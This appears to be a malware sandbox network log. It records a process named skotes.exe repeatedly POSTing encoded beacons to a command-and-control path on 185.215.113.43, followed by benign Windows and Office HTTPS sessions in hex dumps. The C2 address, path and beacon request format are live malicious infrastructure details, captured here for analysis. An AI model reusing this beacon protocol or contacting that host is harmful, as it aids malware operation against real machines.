Nov 18, 2024 04:46:20.581242085 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:46:21.496576071 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:46:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.6	50621	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:46:23.130789042 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:46:24.031029940 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:46:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.6	50622	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:46:25.543340921 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:46:26.457022905 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:46:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.6	50623	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:46:28.078572035 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:46:28.994733095 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:46:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.6	50624	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:46:30.510449886 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:46:31.415823936 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:46:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.6	50625	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:46:33.043030977 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:46:33.960269928 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:46:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.6	50635	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:46:35.486099005 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:46:36.392725945 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:46:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.6	50637	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:46:38.011282921 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:46:38.924501896 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:46:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.6	50638	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:46:40.444875002 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:46:41.360963106 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:46:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.6	50639	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:46:42.979903936 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:46:43.886254072 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:46:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.6	50640	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:46:45.411379099 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:46:46.314984083 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:46:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.6	50641	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:46:47.943703890 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:46:48.855513096 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:46:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.6	50642	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:46:50.383032084 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:46:51.276336908 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:46:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.6	50643	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:46:52.897411108 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:46:53.799968958 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:46:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.6	50644	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:46:55.309072018 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:46:56.217453003 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:46:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.6	50645	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:46:57.845052958 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:46:58.745951891 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:46:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49709	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:06 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 31 57 71 68 32 44 70 6e 4d 45 71 5a 5a 37 4f 4a 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 64 34 39 30 64 31 32 30 33 62 39 35 39 61 65 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 1Wqh2DpnMEqZZ7OJ.1Context: 4d490d1203b959ae
2024-11-18 03:41:06 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-18 03:41:06 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 31 57 71 68 32 44 70 6e 4d 45 71 5a 5a 37 4f 4a 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 64 34 39 30 64 31 32 30 33 62 39 35 39 61 65 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 58 75 30 6e 7a 46 74 78 61 77 47 2b 62 4c 68 74 52 6e 32 41 44 6c 4a 49 46 78 41 51 66 73 49 6d 61 65 71 50 73 70 52 73 73 6e 72 71 71 61 2f 62 65 4e 5a 77 2f 75 5a 59 78 30 6d 59 6a 67 42 4a 4c 52 4b 35 76 46 77 57 4b 58 58 2f 57 2f 76 6d 6a 6f 56 39 39 32 49 6c 68 68 50 34 6f 37 6b 66 42 69 55 4f 73 76 57 57 55 32 77 31 2b Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 1Wqh2DpnMEqZZ7OJ.2Context: 4d490d1203b959ae<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAXu0nzFtxawG+bLhtRn2ADlJIFxAQfsImaeqPspRssnrqqa/beNZw/uZYx0mYjgBJLRK5vFwWKXX/W/vmjoV992IlhhP4o7kfBiUOsvWWU2w1+
2024-11-18 03:41:06 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 31 57 71 68 32 44 70 6e 4d 45 71 5a 5a 37 4f 4a 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 64 34 39 30 64 31 32 30 33 62 39 35 39 61 65 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 1Wqh2DpnMEqZZ7OJ.3Context: 4d490d1203b959ae<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-18 03:41:06 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-18 03:41:06 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 51 50 62 54 47 51 66 68 51 55 69 57 69 79 39 5a 67 45 56 41 69 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: QPbTGQfhQUiWiy9ZgEVAiQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49711	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:11 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:11 UTC	492	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:11 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 16 Nov 2024 09:12:53 GMT ETag: "0x8DD061EDA65C651" x-ms-request-id: 1f2ca79a-801e-0015-0d8f-38f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034111Z-16547b76f7fpdsp9hC1DFW8f5000000002r000000000skcy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:11 UTC	15892	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-18 03:41:11 UTC	16384	IN	Data Raw: 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 